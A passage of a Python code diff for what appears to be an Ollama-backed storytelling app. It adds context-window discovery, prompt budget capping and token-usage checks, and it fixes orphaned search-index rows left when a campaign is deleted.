{"label": s.label, "text": s.text, "tokens": s.tokens} for s in all_sections
|
||||
@@ -624,12 +858,44 @@ def build_context(
|
||||
# what the history was actually allowed to spend after everything
|
||||
# protected was subtracted.
|
||||
"tokens": {
|
||||
"total": count_tokens(system_text) + count_tokens(story_text),
|
||||
"budget": settings.context_token_budget,
|
||||
"total": total_tokens,
|
||||
"budget": budget,
|
||||
"configured_budget": settings.context_token_budget,
|
||||
"output_reserve": output_reserve,
|
||||
"protected": reserved,
|
||||
"available_for_history": available,
|
||||
"history_spent": spent,
|
||||
# v1.1 WP-A1. `transport` is the formatting priced in above;
|
||||
# `estimate` is what this application believes it actually sent,
|
||||
# the assembled text plus what the provider adds to it, and is what
|
||||
# the server's own count is compared against after the reply.
|
||||
"transport": transport,
|
||||
"safety_reserve": safety,
|
||||
"estimate": total_tokens + (
|
||||
count_tokens(CHAT_CONTINUE_HINT) if settings.api_mode != "completion"
|
||||
else separator_tokens
|
||||
),
|
||||
},
|
||||
# M11: what the server was found to accept, and how. `verified` false
|
||||
# means nobody could check — the prompt was built to the configured
|
||||
# budget and may be larger than the runtime will read. This travels in
|
||||
# the stored snapshot, so a turn taken against an unverified window is
|
||||
# identifiable afterwards rather than indistinguishable from a safe one.
|
||||
"window": {
|
||||
"verified": (window.verified if window is not None else False),
|
||||
"tokens": (window.tokens if window is not None else None),
|
||||
"source": (window.source if window is not None else contextwindow.UNKNOWN),
|
||||
"model_max": (window.model_max if window is not None else None),
|
||||
"detail": (window.detail if window is not None else "not checked"),
|
||||
# `enforceable`, not `verified`: an operator-declared window caps
|
||||
# the prompt exactly as a server-reported one does, and a turn built
|
||||
# against it *was* capped. `verified` and `source` above still say
|
||||
# which kind of answer produced the number.
|
||||
"capped": (
|
||||
window is not None
|
||||
and window.enforceable
|
||||
and window.tokens < settings.context_token_budget
|
||||
),
|
||||
},
|
||||
"cards": card_records,
|
||||
"memories": memory_bank,
|
||||
@@ -659,6 +925,13 @@ def build_context(
|
||||
# included, so this number must be the real total.
|
||||
"total": history.count(adventure, exclude_action_id),
|
||||
"oldest_truncated": oldest_truncated,
|
||||
# Where the window was cut, and how big a step it takes when it
|
||||
# moves. Both are in `depth` units. `floor_depth` is null while the
|
||||
# story still fits whole, which is also while every turn is a pure
|
||||
# prefix extension of the last one. A reader comparing two turns can
|
||||
# tell from these whether the prompt's prefix was preserved.
|
||||
"floor_depth": floor_depth,
|
||||
"trim_block": block,
|
||||
},
|
||||
"settings": {
|
||||
"model": settings.model,
|
||||
|
||||
@@ -0,0 +1,536 @@
|
||||
"""M11: what the inference server will *actually* accept, as opposed to what we budgeted.
|
||||
|
||||
M8 found the failure this module exists to prevent. The application budgets a
|
||||
prompt up to `Settings.context_token_budget` — 16,384 by default — while Ollama
|
||||
enforces a window of its own, and on a machine with no VRAM that window defaults
|
||||
to **4,096**. The request still returns HTTP 200. Nothing warns anybody. What
|
||||
actually happens is worse than an error: `llama.cpp` drops the **oldest** tokens,
|
||||
and the oldest tokens in this application are the system block — the narrator
|
||||
rules and the campaign canon. The symptom is a narrator that forgets canon deep
|
||||
into a long session, with nothing on screen explaining why, and every acceptance
|
||||
test that reads a returned 200 as success passing throughout.
|
||||
|
||||
The invariant M11 requires:
|
||||
|
||||
The application must not silently budget more narrator input
|
||||
than the configured Ollama runtime will actually accept.
|
||||
|
||||
Note the word *silently*. There are two honest outcomes and this module produces
|
||||
both: either the window is **verified**, in which case the budget is capped to it
|
||||
so the prompt physically cannot overflow; or it is **unverified**, in which case
|
||||
the assembly says so, in the context report, on the connection test, and in the
|
||||
turn's stored provenance. What must not happen is the third thing — assembling
|
||||
16,384 tokens against a 4,096-token server and calling the result a turn.
|
||||
|
||||
## Why this is not solved by sending `num_ctx`
|
||||
|
||||
It was tried, and it is documented in `DEVELOPMENT.md`. Ollama's
|
||||
OpenAI-compatible endpoint accepts `num_ctx` — nested in `options` or at the top
|
||||
level — returns 200, and ignores it. Worse, it reloads the model at its own
|
||||
default, so priming the server through the native API first does not help
|
||||
either: the next request resets the window. The window is a property of how the
|
||||
model is loaded, not of the request, so the only things that change it are a
|
||||
model with `num_ctx` baked in (`/api/create`) or `OLLAMA_CONTEXT_LENGTH` on the
|
||||
server. Both are operator actions. This module's job is not to change the
|
||||
window; it is to find out what it is and refuse to lie about it.
|
||||
|
||||
## How the window is found
|
||||
|
||||
Ollama's native API sits beside the OpenAI-compatible one on the same host, so
|
||||
this asks the server the application is already talking to, and nothing else. No
|
||||
new destination, the same endpoint policy, the same TLS trust store.
|
||||
|
||||
/api/ps a loaded model reports `context_length`: the window the runtime
|
||||
is enforcing *right now*. This is the truth when it is available.
|
||||
/api/show an unloaded model may carry `num_ctx` in its baked parameters,
|
||||
which is the window it will load with; `model_info` carries the
|
||||
architecture's own ceiling, which caps everything else.
|
||||
|
||||
`/api/ps` is asked first because a model that is loaded has already settled the
|
||||
question. `/api/show` answers it for a model that is not loaded yet, which is the
|
||||
ordinary case at the start of a session.
|
||||
|
||||
## What it deliberately does not do
|
||||
|
||||
It does not hard-code 4,096, which would cripple a correctly configured
|
||||
deployment; it does not raise the budget, which is the operator's decision; it
|
||||
does not fall back to a cloud probe, a bundled table of model sizes, or a guess
|
||||
from the model's name. An unknown window is reported as unknown.
|
||||
|
||||
## The server that cannot be asked
|
||||
|
||||
Discovery above is Ollama's native API. Nothing restricts `endpoint_url` to
|
||||
Ollama — any allowed address serving an OpenAI-compatible `/v1` is accepted —
|
||||
and on vLLM, llama.cpp's own server, or anything else, `/api/ps` and `/api/show`
|
||||
are simply not there. Discovery then fails exactly as designed and the window is
|
||||
reported unknown, which is honest but leaves the invariant at the top of this
|
||||
file unenforced: the budget stands at whatever is configured, and if that server
|
||||
enforces a smaller window it drops the oldest tokens again.
|
||||
|
||||
`context_window_override` is the operator's answer to that. It is a number the
|
||||
operator states because they know how the server was launched, and it is used
|
||||
**only when the server could not be asked**:
|
||||
|
||||
verified window -> always wins; a declaration cannot raise it
|
||||
no verified window -> the declaration becomes the ceiling, source DECLARED
|
||||
neither -> unknown, exactly as before
|
||||
|
||||
This does not weaken what `verified` claims. `verified` still means the server
|
||||
itself answered, so `window_verified` in a turn's provenance keeps the meaning
|
||||
the M11 report gives it, and a declared window is identifiable as a declaration
|
||||
wherever it appears. What the declaration buys is enforcement: the prompt is
|
||||
capped, so the failure mode is a shorter prompt rather than a silently truncated
|
||||
one.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
import math
|
||||
import re
|
||||
import time
|
||||
from dataclasses import dataclass
|
||||
|
||||
import httpx
|
||||
|
||||
from . import endpoints, tlstrust
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
#: Short, because this sits in the turn path. A server that does not answer in
|
||||
#: two seconds has told us what we need to know: we cannot verify the window
|
||||
#: right now, and the turn should proceed unverified rather than stall.
|
||||
PROBE_TIMEOUT = 2.0
|
||||
CONNECT_TIMEOUT = 1.5
|
||||
|
||||
#: A verified window is stable — it changes when an operator reloads a model —
|
||||
#: so it is worth keeping. A failure is cached too, and for much less time,
|
||||
#: because the commonest cause is a server that is starting up.
|
||||
POSITIVE_TTL = 600.0
|
||||
NEGATIVE_TTL = 60.0
|
||||
|
||||
#: Sources, in the order of how much they prove.
|
||||
LOADED = "loaded" # /api/ps: what the runtime is enforcing now
|
||||
PARAMETERS = "parameters" # /api/show: what the model will load with
|
||||
DECLARED = "declared" # the operator said so; the server could not be asked
|
||||
UNKNOWN = "unknown"
|
||||
|
||||
#: Sources that mean *the server answered*, as opposed to somebody asserting.
|
||||
FROM_SERVER = (LOADED, PARAMETERS)
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class Window:
|
||||
"""What was learned about the server's input window, and how."""
|
||||
|
||||
#: The total context in tokens — input *and* output share it — or None when
|
||||
#: it could not be determined.
|
||||
tokens: int | None
|
||||
#: One of LOADED, PARAMETERS, UNKNOWN.
|
||||
source: str
|
||||
#: The architecture's own ceiling, when the server reported one. Useful to a
|
||||
#: reader deciding whether raising the window is even possible.
|
||||
model_max: int | None = None
|
||||
#: Why the window is unknown, or how it was found. Shown to the user.
|
||||
detail: str = ""
|
||||
#: v1.1: the server answered a discovery request at all, whatever it said.
|
||||
#: A server that answered but could not report a window may simply not have
|
||||
#: the model loaded yet, which `ensure_window` can fix; one that did not
|
||||
#: answer cannot be helped by asking it to load anything.
|
||||
reachable: bool = False
|
||||
|
||||
@property
|
||||
def verified(self) -> bool:
|
||||
"""The **server** answered. An operator's declaration is not this.
|
||||
|
||||
Kept narrow on purpose. `window_verified` travels in every turn's stored
|
||||
provenance and the M11 report counts on it meaning one thing: that the
|
||||
runtime was asked and replied. A declaration is a person's claim about a
|
||||
server, which is worth acting on and is not the same evidence.
|
||||
"""
|
||||
return self.tokens is not None and self.source in FROM_SERVER
|
||||
|
||||
@property
|
||||
def enforceable(self) -> bool:
|
||||
"""There is a number to cap the prompt to, whoever supplied it."""
|
||||
return self.tokens is not None
|
||||
|
||||
|
||||
UNVERIFIED = Window(tokens=None, source=UNKNOWN, detail="not checked")
|
||||
|
||||
_cache: dict[tuple[str, str], tuple[float, Window]] = {}
|
||||
|
||||
|
||||
def native_base(endpoint_url: str) -> str:
|
||||
"""The Ollama-native base beside an OpenAI-compatible endpoint.
|
||||
|
||||
`https://host:1234/v1` -> `https://host:1234`. Anything else is used as
|
||||
given, because an endpoint that is not shaped like Ollama's is one this
|
||||
cannot interrogate and should not guess about.
|
||||
"""
|
||||
trimmed = (endpoint_url or "").rstrip("/")
|
||||
return re.sub(r"/v1$", "", trimmed)
|
||||
|
||||
|
||||
def effective_budget(configured: int, window: Window | int | None) -> int:
|
||||
"""The budget the prompt may actually use.
|
||||
|
||||
The whole enforcement, in one line: a known window is a ceiling — whether
|
||||
the server reported it or the operator declared it. The configured budget
|
||||
still wins when it is *smaller*, because a reader who has deliberately asked
|
||||
for a shorter prompt should get one.
|
||||
"""
|
||||
tokens = window.tokens if isinstance(window, Window) else window
|
||||
if tokens is None or tokens <= 0:
|
||||
return configured
|
||||
return min(configured, tokens)
|
||||
|
||||
|
||||
#: v1.1 WP-A1: the tokens kept free below the effective window, beyond the reply.
|
||||
#:
|
||||
#: The builder counts with `cl100k_base`; the narrator counts with its own
|
||||
#: tokenizer. The v1 evidence put the largest prompts 23-42 real tokens from the
|
||||
#: edge of a 16,384 window, and Ollama does not refuse a prompt past the edge —
|
||||
#: measured on Ollama 0.33 at a 4,096 window, a 6,316-token prompt came back 200
|
||||
#: with `prompt_tokens` 2,050. So the reserve is deliberate and sized to the
|
||||
#: window: the larger of a floor and a share, **rounded up to a whole token**.
|
||||
#:
|
||||
#: 4,096 -> 256 8,192 -> 410 16,384 -> 820
|
||||
#:
|
||||
#: A fixed, documented tolerance, owner-chosen for v1.1. It is not a setting and
|
||||
#: it is not calibrated per model.
|
||||
SAFETY_RESERVE_FLOOR = 256
|
||||
SAFETY_RESERVE_PERCENT = 5
|
||||
|
||||
|
||||
def safety_reserve(effective_window: int) -> int:
|
||||
"""`max(256, ceil(5% of the effective window))`, in tokens.
|
||||
|
||||
The effective window is the budget the prompt is actually built to — the
|
||||
verified or declared window when there is one, the configured budget
|
||||
otherwise — so a 16,384 setting against a 4,096 server reserves 256, not 820.
|
||||
Integer arithmetic, so the rounding is exact rather than a float's.
|
||||
"""
|
||||
share = math.ceil(max(0, effective_window) * SAFETY_RESERVE_PERCENT / 100)
|
||||
return max(SAFETY_RESERVE_FLOOR, share)
|
||||
|
||||
|
||||
#: v1.1 WP-A1: what the server's own count says about a turn that was sent.
|
||||
FITS = "fits"
|
||||
EXCEEDED = "exceeded"
|
||||
TRUNCATION_SUSPECTED = "truncation_suspected"
|
||||
#: `UNKNOWN` above: the server reported no usable count.
|
||||
|
||||
|
||||
def classify_usage(usage: dict | None, *, estimate: int, budget: int,
|
||||
max_output_tokens: int, window_verified: bool) -> dict:
|
||||
"""Sets the server's reported prompt count against what the application sent.
|
||||
|
||||
The order of the checks is the order of what they prove:
|
||||
|
||||
``unknown``
|
||||
No positive integer `prompt_tokens`. Nothing can be said, and nothing
|
||||
is claimed: an absent count is never read as a prompt that fitted.
|
||||
``truncation_suspected``
|
||||
The server read fewer tokens than were sent by more than the safety
|
||||
reserve. A tokenizer thriftier than `cl100k_base` may honestly count a
|
||||
little less; a shortfall larger than the tolerance the application keeps
|
||||
for drift is the signature of a server that cut the prompt — the real
|
||||
shape was 6,316 sent and 2,050 read.
|
||||
``exceeded``
|
||||
The server's count plus the reply allocation is more than the window
|
||||
the prompt was built for. The drift was larger than the whole reserve,
|
||||
so the reply may have been cut short.
|
||||
``fits``
|
||||
Otherwise.
|
||||
|
||||
`observed_margin` is what was left beside the reply by the server's count:
|
||||
`budget - max_output_tokens - server_prompt_tokens`. The safety reserve is
|
||||
the tolerance, so a margin between 0 and the reserve is still `fits`.
|
||||
|
||||
A discrepancy is recorded, never acted on: the reply has already streamed
|
||||
to the reader and is accepted story.
|
||||
"""
|
||||
prompt = usage.get("prompt_tokens") if isinstance(usage, dict) else None
|
||||
reserve = safety_reserve(budget)
|
||||
verified_note = "" if window_verified else (
|
||||
" The window itself was not verified for this turn.")
|
||||
record = {
|
||||
"status": UNKNOWN,
|
||||
"server_prompt_tokens": None,
|
||||
"estimate": estimate,
|
||||
"difference": None,
|
||||
"budget": budget,
|
||||
"max_output_tokens": max_output_tokens,
|
||||
"safety_reserve": reserve,
|
||||
"observed_margin": None,
|
||||
"window_verified": bool(window_verified),
|
||||
"detail": "",
|
||||
}
|
||||
if type(prompt) is not int or prompt <= 0:
|
||||
record["detail"] = ("The server reported no prompt token count, so nothing "
|
||||
"confirms the whole prompt was read." + verified_note)
|
||||
return record
|
||||
|
||||
record["server_prompt_tokens"] = prompt
|
||||
record["difference"] = prompt - estimate
|
||||
record["observed_margin"] = budget - max_output_tokens - prompt
|
||||
if prompt + reserve < estimate:
|
||||
record["status"] = TRUNCATION_SUSPECTED
|
||||
record["detail"] = (
|
||||
f"The server read {prompt:,} prompt tokens of the {estimate:,} sent, a "
|
||||
f"shortfall larger than the {reserve:,}-token safety reserve. A server "
|
||||
"that cuts an over-window prompt reports exactly this, and what it cuts "
|
||||
"is the start: the narrator's rules and the canon." + verified_note)
|
||||
elif prompt + max_output_tokens > budget:
|
||||
record["status"] = EXCEEDED
|
||||
record["detail"] = (
|
||||
f"The server counted {prompt:,} prompt tokens; with {max_output_tokens:,} "
|
||||
f"for the reply that is more than the {budget:,}-token window the prompt "
|
||||
"was built for, so the reply may have been cut short." + verified_note)
|
||||
else:
|
||||
record["status"] = FITS
|
||||
record["detail"] = (
|
||||
f"The server read {prompt:,} prompt tokens, leaving "
|
||||
f"{record['observed_margin']:,} beside the reply." + verified_note)
|
||||
return record
|
||||
|
||||
|
||||
def cache_clear() -> None:
|
||||
"""Forgets what was learned. Called when the endpoint or model changes."""
|
||||
_cache.clear()
|
||||
|
||||
|
||||
async def probe(endpoint_url: str, model: str, *,
|
||||
declared: int | None = None, use_cache: bool = True) -> Window:
|
||||
"""What window `model` gets, asked of the server and only then declared.
|
||||
|
||||
Returns `UNVERIFIED` for every discovery failure — refused endpoint,
|
||||
unreachable server, TLS failure, a server with no Ollama-native API, an
|
||||
unparseable answer — unless `declared` supplies a number to fall back on.
|
||||
The caller cannot act differently on those failures and the reader is told
|
||||
the same thing either way: the window could not be checked.
|
||||
|
||||
`declared` is `Settings.context_window_override`. It never overrides a
|
||||
verified answer, so an operator cannot talk the application into a bigger
|
||||
prompt than the runtime will read; it only fills a gap discovery left.
|
||||
"""
|
||||
if not endpoint_url or not model:
|
||||
return _declared_or(declared,
|
||||
Window(None, UNKNOWN,
|
||||
detail="no endpoint or model configured"))
|
||||
|
||||
discovered = await _discover(endpoint_url, model, use_cache=use_cache)
|
||||
return _declared_or(declared, discovered)
|
||||
|
||||
|
||||
def _declared_or(declared: int | None, discovered: Window) -> Window:
|
||||
"""The operator's number, but only where the server left a hole.
|
||||
|
||||
A verified window always wins. That ordering is the whole safety property:
|
||||
a declaration can lower an unknown ceiling into existence, never raise a
|
||||
known one.
|
||||
"""
|
||||
if discovered.verified:
|
||||
return discovered
|
||||
if not declared or declared <= 0:
|
||||
return discovered
|
||||
return Window(
|
||||
declared, DECLARED, discovered.model_max,
|
||||
f"{declared:,} tokens, declared in settings — the server was not able "
|
||||
f"to say ({discovered.detail})",
|
||||
reachable=discovered.reachable,
|
||||
)
|
||||
|
||||
|
||||
async def _discover(endpoint_url: str, model: str, *,
|
||||
use_cache: bool = True) -> Window:
|
||||
"""The server's own answer, cached. Knows nothing about declarations.
|
||||
|
||||
The cache holds only what was discovered, so changing the declared override
|
||||
takes effect on the next turn without having to clear anything: the
|
||||
declaration is layered on afterwards, in `_declared_or`.
|
||||
"""
|
||||
key = (endpoint_url, model)
|
||||
now = time.monotonic()
|
||||
if use_cache:
|
||||
hit = _cache.get(key)
|
||||
if hit is not None and hit[0] > now:
|
||||
return hit[1]
|
||||
|
||||
window = await _ask(endpoint_url, model)
|
||||
ttl = POSITIVE_TTL if window.verified else NEGATIVE_TTL
|
||||
_cache[key] = (now + ttl, window)
|
||||
return window
|
||||
|
||||
|
||||
async def _ask(endpoint_url: str, model: str) -> Window:
|
||||
# The same policy the turn itself is held to. A window probe must not be a
|
||||
# way to reach an address inference may not (ADR 011, H12).
|
||||
reason = endpoints.rejection_reason(endpoint_url)
|
||||
if reason is not None:
|
||||
return Window(None, UNKNOWN, detail=f"endpoint not allowed — {reason}")
|
||||
|
||||
base = native_base(endpoint_url)
|
||||
try:
|
||||
async with httpx.AsyncClient(
|
||||
timeout=httpx.Timeout(PROBE_TIMEOUT, connect=CONNECT_TIMEOUT),
|
||||
verify=tlstrust.ssl_context(),
|
||||
) as client:
|
||||
loaded = await _loaded_window(client, base, model)
|
||||
if loaded is not None:
|
||||
tokens, ceiling = loaded
|
||||
return Window(
|
||||
tokens, LOADED, ceiling,
|
||||
f"{tokens:,} tokens, reported by the running model",
|
||||
reachable=True,
|
||||
)
|
||||
return await _declared_window(client, base, model)
|
||||
except (httpx.HTTPError, ValueError, TypeError, KeyError) as exc:
|
||||
log.debug("context window probe failed for %s: %s", base, exc)
|
||||
return Window(None, UNKNOWN, detail=f"could not ask the server ({type(exc).__name__})")
|
||||
|
||||
|
||||
async def _loaded_window(client, base: str, model: str):
|
||||
"""`/api/ps`: the window a resident model is actually being served with."""
|
||||
resp = await client.get(f"{base}/api/ps")
|
||||
if resp.status_code != 200:
|
||||
return None
|
||||
for entry in (resp.json() or {}).get("models") or []:
|
||||
if entry.get("name") == model or entry.get("model") == model:
|
||||
tokens = entry.get("context_length")
|
||||
if isinstance(tokens, int) and tokens > 0:
|
||||
return tokens, None
|
||||
return None
|
||||
|
||||
|
||||
async def _declared_window(client, base: str, model: str) -> Window:
|
||||
"""`/api/show`: what the model will load with, and its architectural cap."""
|
||||
resp = await client.post(f"{base}/api/show", json={"model": model})
|
||||
if resp.status_code != 200:
|
||||
return Window(
|
||||
None, UNKNOWN,
|
||||
detail=f"the server did not describe the model (HTTP {resp.status_code})",
|
||||
reachable=True,
|
||||
)
|
||||
body = resp.json() or {}
|
||||
ceiling = _architecture_ceiling(body.get("model_info") or {})
|
||||
declared = _num_ctx(body.get("parameters"))
|
||||
if declared is None:
|
||||
return Window(
|
||||
None, UNKNOWN, ceiling,
|
||||
detail=(
|
||||
"the model sets no num_ctx, so the server will load it at its own "
|
||||
"default — which is 4,096 where there is no VRAM"
|
||||
),
|
||||
reachable=True,
|
||||
)
|
||||
tokens = min(declared, ceiling) if ceiling else declared
|
||||
return Window(
|
||||
tokens, PARAMETERS, ceiling,
|
||||
f"{tokens:,} tokens, from the model's own num_ctx",
|
||||
reachable=True,
|
||||
)
|
||||
|
||||
|
||||
#: v1.1 WP-A1 corrective: loading the configured model so its window can be read.
|
||||
#:
|
||||
#: The first real turn of the A1 evidence found a cold model: `/api/ps` knew
|
||||
#: nothing, `/api/show` found no `num_ctx`, so the window was unverified and the
|
||||
#: prompt was built to the configured 16,384. Ollama loaded the model at its own
|
||||
#: 4,096 default, kept 2,050 of 13,875 tokens and answered 200. That case is
|
||||
#: preventable, because the window becomes readable the moment the model is
|
||||
#: resident. Ollama's native `POST /api/generate` with a model and **no prompt**
|
||||
#: loads the model and generates nothing — measured on Ollama 0.33: HTTP 200,
|
||||
#: `"response": ""`, `"done_reason": "load"`, and `/api/ps` then reported the
|
||||
#: window. The OpenAI-compatible request that followed did not reload it.
|
||||
WARM_PATH = "/api/generate"
|
||||
|
||||
|
||||
async def warm(endpoint_url: str, model: str, *, timeout: float) -> tuple[bool, str]:
|
||||
"""Asks the configured server to load `model`. One request, no story text.
|
||||
|
||||
Held to the same endpoint policy and TLS trust as inference and the probe, and
|
||||
sent to the same host the probe asks. The body names the model and nothing
|
||||
else: no prompt, so nothing is generated, and no `options` or `keep_alive`, so
|
||||
the model loads the way the server would load it for the turn itself.
|
||||
|
||||
Returns `(loaded, detail)`. Every failure is `(False, why)` and never raises:
|
||||
a server that will not load the model on request will fail the turn's own
|
||||
call the ordinary way, which is where that failure belongs.
|
||||
"""
|
||||
reason = endpoints.rejection_reason(endpoint_url)
|
||||
if reason is not None:
|
||||
return False, f"endpoint not allowed — {reason}"
|
||||
base = native_base(endpoint_url)
|
||||
try:
|
||||
async with httpx.AsyncClient(
|
||||
timeout=httpx.Timeout(timeout, connect=CONNECT_TIMEOUT),
|
||||
verify=tlstrust.ssl_context(),
|
||||
) as client:
|
||||
resp = await client.post(f"{base}{WARM_PATH}", json={"model": model})
|
||||
except httpx.HTTPError as exc:
|
||||
log.debug("model warm-up failed for %s: %s", base, exc)
|
||||
return False, f"could not ask the server to load the model ({type(exc).__name__})"
|
||||
if resp.status_code != 200:
|
||||
return False, f"the server did not load the model (HTTP {resp.status_code})"
|
||||
try:
|
||||
body = resp.json() or {}
|
||||
except ValueError:
|
||||
return False, "the server answered the load request with something that was not JSON"
|
||||
return True, f"the server loaded the model ({body.get('done_reason') or 'done'})"
|
||||
|
||||
|
||||
async def ensure_window(endpoint_url: str, model: str, *, declared: int | None = None,
|
||||
warm_timeout: float = 300.0) -> tuple[Window, dict]:
|
||||
"""The window for a turn about to be generated, loading the model once if that is what it takes.
|
||||
|
||||
1. Probe as before.
|
||||
2. If the window is not verified, the server answered, and there is a model to
|
||||
load: one bounded `warm` request.
|
||||
3. If the model loaded, probe again, bypassing the cache that still holds the
|
||||
unverified answer.
|
||||
|
||||
Whatever the second probe says is the answer. There is no retry loop, no
|
||||
guessed window, and no hard-coded 4,096: a window still unverified leaves the
|
||||
configured budget standing, exactly as before, and the turn's accounting
|
||||
still catches a server that cut the prompt.
|
||||
|
||||
Returns the window and a `preflight` record for the turn's provenance.
|
||||
Not used by the context dry run: loading a model is a side effect, and
|
||||
opening a panel should not cause one.
|
||||
"""
|
||||
window = await probe(endpoint_url, model, declared=declared)
|
||||
preflight = {"attempted": False, "loaded": None, "verified_before": window.verified,
|
||||
"verified_after": window.verified, "detail": ""}
|
||||
if window.verified:
|
||||
preflight["detail"] = "the window was already verified"
|
||||
return window, preflight
|
||||
if not (endpoint_url and model):
|
||||
preflight["detail"] = "no endpoint or model configured"
|
||||
return window, preflight
|
||||
if not window.reachable:
|
||||
preflight["detail"] = "the server did not answer, so no model was loaded"
|
||||
return window, preflight
|
||||
loaded, detail = await warm(endpoint_url, model, timeout=warm_timeout)
|
||||
preflight.update(attempted=True, loaded=loaded, detail=detail)
|
||||
if loaded:
|
||||
window = await probe(endpoint_url, model, declared=declared, use_cache=False)
|
||||
preflight["verified_after"] = window.verified
|
||||
return window, preflight
|
||||
|
||||
|
||||
def _num_ctx(parameters) -> int | None:
|
||||
"""Reads `num_ctx` out of the plain-text parameter block Ollama returns."""
|
||||
if not isinstance(parameters, str):
|
||||
return None
|
||||
match = re.search(r"^\s*num_ctx\s+(\d+)\s*$", parameters, re.MULTILINE)
|
||||
return int(match.group(1)) if match else None
|
||||
|
||||
|
||||
def _architecture_ceiling(model_info: dict) -> int | None:
|
||||
"""`<arch>.context_length` — the largest window this model can have."""
|
||||
for key, value in model_info.items():
|
||||
if key.endswith(".context_length") and isinstance(value, int) and value > 0:
|
||||
return value
|
||||
return None
|
||||
@@ -137,13 +137,53 @@ def index_line(heading_path: str, text_: str) -> str:
|
||||
|
||||
|
||||
def add(db: Session, chunk_id: int, heading_path: str, text_: str) -> None:
|
||||
"""Indexes one passage. The caller supplies the chunk's id as the rowid."""
|
||||
"""Indexes one passage. The caller supplies the chunk's id as the rowid.
|
||||
|
||||
`OR REPLACE`, and the reason is a defect M9 found rather than a defensive
|
||||
habit. The rowid is a chunk's primary key, so a row already sitting at it is
|
||||
by definition stale: the chunk that owned it does not exist, or is being
|
||||
rewritten by the reindex that called this. Either way the new passage is the
|
||||
truth and the old row is not.
|
||||
|
||||
Without it, an orphaned index row makes an ordinary import fail. SQLite
|
||||
reuses primary keys once the highest row is gone, so the next campaign to
|
||||
import a source is handed rowid 1 again, collides with an orphan, and gets a
|
||||
500 from `INSERT` — and `clear_index` cannot clear the orphan, because it
|
||||
finds index rows *through* the chunks, and there are none. That made Reindex,
|
||||
which is the documented repair, unable to repair this. `REPLACE` closes it
|
||||
from both ends: a leaked row is overwritten the moment the id comes round
|
||||
again, so an existing database repairs itself rather than needing a
|
||||
migration, and Reindex is the repair it is described as.
|
||||
|
||||
The leak itself is closed separately, in `importer.clear_campaign_index`.
|
||||
"""
|
||||
db.execute(
|
||||
sql(f"INSERT INTO {TABLE} (rowid, text) VALUES (:id, :text)"),
|
||||
sql(f"INSERT OR REPLACE INTO {TABLE} (rowid, text) VALUES (:id, :text)"),
|
||||
{"id": chunk_id, "text": index_line(heading_path, text_)},
|
||||
)
|
||||
|
||||
|
||||
def remove_adventure(db: Session, adventure_id: int) -> int:
|
||||
"""Drops every index row belonging to one campaign. Returns how many.
|
||||
|
||||
Scoped through the chunks, which is the only place the campaign is
|
||||
recorded — the index deliberately holds no copy of it
|
||||
(see "The table" above). So this has to run **before** the chunk rows go,
|
||||
which is what `importer.clear_campaign_index` is for.
|
||||
"""
|
||||
result = db.execute(
|
||||
sql(
|
||||
f"""
|
||||
DELETE FROM {TABLE} WHERE rowid IN (
|
||||
SELECT id FROM knowledge_chunks WHERE adventure_id = :adventure_id
|
||||
)
|
||||
"""
|
||||
),
|
||||
{"adventure_id": adventure_id},
|
||||
)
|
||||
return result.rowcount or 0
|
||||
|
||||
|
||||
def remove_chunks(db: Session, chunk_ids: list[int]) -> None:
|
||||
"""Drops passages from the index by id.
|
||||
|
||||
|
||||
@@ -362,6 +362,28 @@ def clear_index(db: Session, source: models.KnowledgeSource) -> None:
|
||||
db.expire(source, ["chunks"])
|
||||
|
||||
|
||||
def clear_campaign_index(db: Session, adventure: models.Adventure) -> int:
|
||||
"""Removes a whole campaign's lexical index rows. Returns how many.
|
||||
|
||||
Called before a campaign is deleted, and it has to be: the FTS index is a
|
||||
virtual table, so no foreign key reaches it and no `ON DELETE CASCADE`
|
||||
covers it. Deleting a campaign cascades `knowledge_sources` to
|
||||
`knowledge_chunks` and stops there, leaving one index row per passage
|
||||
belonging to a chunk that no longer exists.
|
||||
|
||||
Found in M9. The leak is not cosmetic. SQLite hands out the lowest free
|
||||
primary key, so once the highest chunk is gone the *next* source imported
|
||||
into *any* campaign is given a chunk id that an orphan already occupies, and
|
||||
the import fails with an integrity error — a 500 on an ordinary upload, in a
|
||||
campaign that has nothing to do with the deleted one. `fts.add` now repairs
|
||||
such a collision when it meets one; this stops it happening.
|
||||
|
||||
Vectors and passages need no equivalent, because both are real tables whose
|
||||
foreign keys cascade.
|
||||
"""
|
||||
return fts.remove_adventure(db, adventure.id)
|
||||
|
||||
|
||||
def delete_source(db: Session, source: models.KnowledgeSource) -> None:
|
||||
"""Removes a source and everything derived from it.
|
||||
|
||||
|
||||
@@ -50,10 +50,17 @@ from .records import Candidate, Result
|
||||
|
||||
#: Share of the non-protected budget that retrieved knowledge may spend.
|
||||
#:
|
||||
#: Story cards already take up to 40% (`CARD_BUDGET_SHARE`), and the history is
|
||||
#: what is left. A third is enough for several passages at the chunker's
|
||||
#: typical size and leaves the majority of the window to the story itself,
|
||||
#: which is the thing the reader came for.
|
||||
#: A third is enough for several passages at the chunker's typical size and
|
||||
#: leaves the majority of the window to the story itself, which is the thing the
|
||||
#: reader came for.
|
||||
#:
|
||||
#: This share was chosen when story cards could take up to 40% of the same
|
||||
#: budget and the history took what was left. M9 removed that injection
|
||||
#: (`IMPORTED-KNOWLEDGE-DESIGN.md` §73), so the history now gets that 40% back.
|
||||
#: The number here is deliberately unchanged: a third of the budget was chosen
|
||||
#: as the right amount of *imported material* to put in front of the narrator,
|
||||
#: not as a leftover, and raising it because room appeared would be changing
|
||||
#: retrieval behaviour under cover of a portability milestone.
|
||||
KNOWLEDGE_SHARE = 0.33
|
||||
|
||||
#: What each class may take of the knowledge budget. Canon may take all of it;
|
||||
|
||||
@@ -129,6 +129,34 @@ MAX_BODY_BYTES = 2 * 1024 * 1024
|
||||
MAX_IMPORT_BODY_BYTES = 20 * 1024 * 1024
|
||||
|
||||
|
||||
def import_limit_label(limit: int | None = None) -> str:
|
||||
"""The import ceiling as a reader would say it, e.g. "20 MB".
|
||||
|
||||
Derived from the constant rather than written beside it, so the refusal, the
|
||||
export warning and the documentation cannot drift apart from each other or
|
||||
from what the middleware actually enforces (v1.1 WP-D).
|
||||
"""
|
||||
size = MAX_IMPORT_BODY_BYTES if limit is None else limit
|
||||
megabytes = size / (1024 * 1024)
|
||||
return f"{megabytes:.0f} MB" if abs(megabytes - round(megabytes)) < 0.05 else f"{megabytes:.1f} MB"
|
||||
